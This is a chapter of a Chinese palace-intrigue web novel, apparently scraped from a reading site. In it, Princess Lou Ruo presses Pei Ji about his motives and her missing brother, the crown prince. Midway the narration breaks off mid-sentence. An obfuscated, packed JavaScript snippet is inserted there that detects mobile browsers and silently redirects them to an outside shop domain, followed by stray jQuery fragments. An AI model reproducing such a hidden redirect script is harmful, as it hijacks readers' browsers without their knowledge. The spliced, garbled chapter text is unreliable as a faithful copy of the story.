24.孤魂

作品:《锦绣十六年

    天光大亮之时。


    楼若入了城,在裴府外见到了那位与林殊长得一般模样的书生。却不见了粗衣布服,反而着了一身锦袍。


    他见了她,第一反应竟是躲闪。


    她快步上前拦住了去路,眼见他频频退后,楼若觉得很不对劲,“这位公子,我们见过吗?为何你见了我……”


    那人疾言打断了她,“草民见过殿下。是殿下贵人多忘事,昨日太师寿宴,草民在席末远远见过殿下。”


    “是吗?”


    听见楼若的反问,眼前人称是。


    可她仍觉得这其中有反常之处,“你叫什么名字?可认识林殊?”此时她更倾向于沈弃又在骗他,或许,真正的林殊根本没有死。


    不然如何解释寿宴之上,他为何神色有异。


    “草民不认识林殊。”眼前人一直低着头,淡淡地回道。


    楼若看不清他的神色,却看着此人的身形出了神。确实不像林殊,可隐约之中,她还是觉得分外熟悉。


    直到身后传来裴寂的声音,“殿下。”他不知从何方而来,外袍上落了水珠,发丝在不经意间已然被沾湿。


    “殿下怎么回来了?”


    神色不明地望着正俯身的人,后眼底闪过一丝愁色。


    楼若没有答他的话,反问他:“裴公子没什么要同我解释的吗?”


    她一步步逼近,目光逐渐凌厉起来。


    裴寂心下慌了一阵,但他不觉楼若能察觉出什么,顿时反应过来,这是她在使诈。


    他不能慌,至少在此时不能。


    “殿下要问什么?我实在是不明白,也实在没有什么要同殿下解释。”他的语气放缓了许多,看着楼若,露出一丝莫名的笑意。


    可透过那双眼,却瞧不出什么。


    楼若没有再逼问,反倒提起了林殊,“不知裴公子有没有听说过林殊,昔日东宫的伴读?”


    “不曾听过。”


    裴寂无所顾虑地否定了。


    可楼若却抓住了他的破绽,“河东裴氏的嫡长公子竟未听说过林殊吗?”只要是世家大族,在当年林殊身上都废了不少心思。


    最多的,大抵是要将他从光明处拉下来。


    即使当年林殊背靠林尚书,深受皇兄信任又如何。他的仕途也不会走得太顺当。


    她知道,裴寂不会知道这些。


    他并非裴氏嫡系,而只是旁支。他所承担的从不是光耀门楣,他或许从来充当的只是,那位真正的嫡长公子日后在仕途上的垫脚石罢了。


    在世家大族眼里,他不必知道这些。无知便会无畏。


    裴寂听此反问,霎时间明白了楼若的意图。她一直在意的都不是眼前与林殊一般模样的人的真实身份,而是他裴寂入上京、涉权争的目的。


    她开始怀疑他了。


    那他,究竟是何时露出了破绽?


    裴寂当然不会想到,所谓的破绽,是三年前的自己亲自告诉她的。


    楼若敛了神色,“现在,还有什么要同我解释的吗?”


    “殿下想知道什么?”


    听见他深深的叹息声,楼若心中某处似被什么压着一般,喘不过气来。她转过身,先同那位书生道:“是我认错人了。”


    随即同裴寂落座于一家茶馆内。


    她不曾回头,不曾注意到书生眼中别样的情愫。


    好久不见,阿若。他心中默念。


    在捻了捻手中的流苏时,他莫名地想起紫云宫里,随风摇曳的春花和时时摆动的珠帘。时间宛如流沙一般逝于掌心,他终究是,再也回不去了。


    *


    茶馆内。


    楼若没有问裴寂入上京城的缘由,反而问他:“所以,你做这些的目的既不是为了裴氏,那是为了什么?”


    “找一个人。”


    “那你找到了吗?”


    问到此裴寂明显愣了一刻,他的目光游离间落到了屋外的某处,但楼若没有注意到,她几乎是紧紧地望着他。


    他的声音因此低沉了些,“找到了。”却莫名透着一丝落寞。


    “殿下不问我在找谁吗?”抬眼时,二人目光相接。


    楼若没有躲闪,察觉到自己的遗漏,道:“谁?”


    “端惠太子楼清邰。”他说这话时,微微苦笑着,好似在回忆这三年间的一幕幕。


    从楼若入大理寺开始,他就在找太子了。万万没有想到的是,到最后反而是太子找到了他。


    彼时他看着太子,恨不得杀他。


    可他根本近不了他的身。


    甚至到如今,他竟然在不知不觉间,成为了太子在上京城的一步棋。


    太子谋算至深,每一步都走得极为稳妥。唯独当年在东宫,失了策。可他裴寂不能接受,这次失策留给他的一切。他的阿姐,自那离他远去。


    他成了彻头彻尾的孤魂。


    而一旁的楼若听到此早已浑身发冷,因此她忍不住地颤抖,整个人难以再冷静下来,“他在哪儿?”


    出口的话甚至带着一丝哭腔。


    她好像是在恳求一个答案,一个她苦苦追寻不得的答案。


    “我不能告诉殿下。”


    裴寂出奇地淡然,“受人之托,请殿下谅解,我不能告诉你。何况……”他顿了顿,看着楼若已经通红的眼底,又道:“到了今时今日,他在哪儿,已经不重要了。”


    这些话,他本不该告诉她。


    可看着她一步步走到这里,和当年的自己何其相似。他有时竟会想,欺瞒残酷的现实,对一个迷路之人来说,并不是叫她迷途知返,而是在徒增她的执念。


    她只会越走越深。


    裴寂知道,最终这一切的走向,一定会是她意想不到的结局。


    “皇兄要做什么?他要回来了么?”楼若在静默许久后,问道。


    锦绣十六年,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273186|150746||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    曾以为那是她们兄妹二人的永别。后来才知,那只是一场被谋划的分散。分散六年,如今,裴寂在此时告诉她一切都不重要了。


    她知道,再相见是迟早的事。


    到那时,一切都会真相大白不是吗。


    可她心底却分外不安,她就像被裹挟至此,对一切的未知,带给她的只有恐惧。她不像就这么稀里糊涂地再走下去了。


    楼若的明知故问,让裴寂心中顿时苦涩无比,他想起,此时此刻皇宫之内,有一个正在静静等死的人。


    明明他并非局内之人,却一次次地为她入局。最后,要在她不知情的情况下,去做这局内唯一的牺牲者。


    “殿下,六年过去了,你有没有想过,当年太子为何要谋反?”念及此,他反问楼若。


    看着上京城此时此刻的太平景象,想起城外店小二说的那些话,楼若心底是有一些猜想的,但她无法开口。


    她是此间最没有资格大言不惭的人。


    父皇在位时,她是最受宠的公主。民生、朝局如何,她从未在乎过,那些在她心里甚至比不过兰园中的兰花。


    后来天下倾覆,从上京走到长陵,她因百姓怨念,第一次思索,父皇到底是怎样的一位君主。也是第一次心中有了目标,她要替父皇挽救这将颓之局、替父皇还万民一个太平安宁。


    可她没有做到。


    而如今,她有什么资格评判他人。何况,他们都是她的亲人。


    没等到楼若的回答,裴寂便自顾自地开了口,“不出意外,他一定会是未来的天子。他为什么要谋反呢?为什么要逼死君父?为什么要致使万民惶惶,致使自己背上骂名呢?”


    “这些,不瞒殿下,我曾亲口问过他。”


    他曾问过他,在千里之外的一个荒无人烟的地方,在一处茅草屋内。面对他的愤懑,太子只告诉了他一句话,“若裴公子身处其中,想必会做出和我一样的抉择。”


    他离上京城那么远,心却又那么近。


    没人知道,保下这样的局面,有多么难。


    “可殿下,我没有得到我想要的答案。”裴寂的声音愈来愈虚弱,“天下局势,只身处上京城,怎能看到全貌?”


    “未知全貌,便将莫须有的罪名压在他身上,我会后后悔,但我不会原谅他。”


    最后,裴寂没有再说话。


    他只是长舒了一口气,心中千钧重的担子此刻好似全然释然了,周身是从没有过的轻松。


    “殿下,若有时间,回一趟宫吧。一直有一个人,在紫云宫等你。”终了,他告诉楼若。


    阿姐的无数封书信里,都曾提过紫云宫。从很早他便知道,紫云宫的公主有着什么样的性情,她的一点爱好,都会被阿姐反复提及。


    后来,他做了她的谋士。


    却也在一步步利用她。


    这一次劝她回到紫云宫,是唯一一次,他真心希望她去做的事情。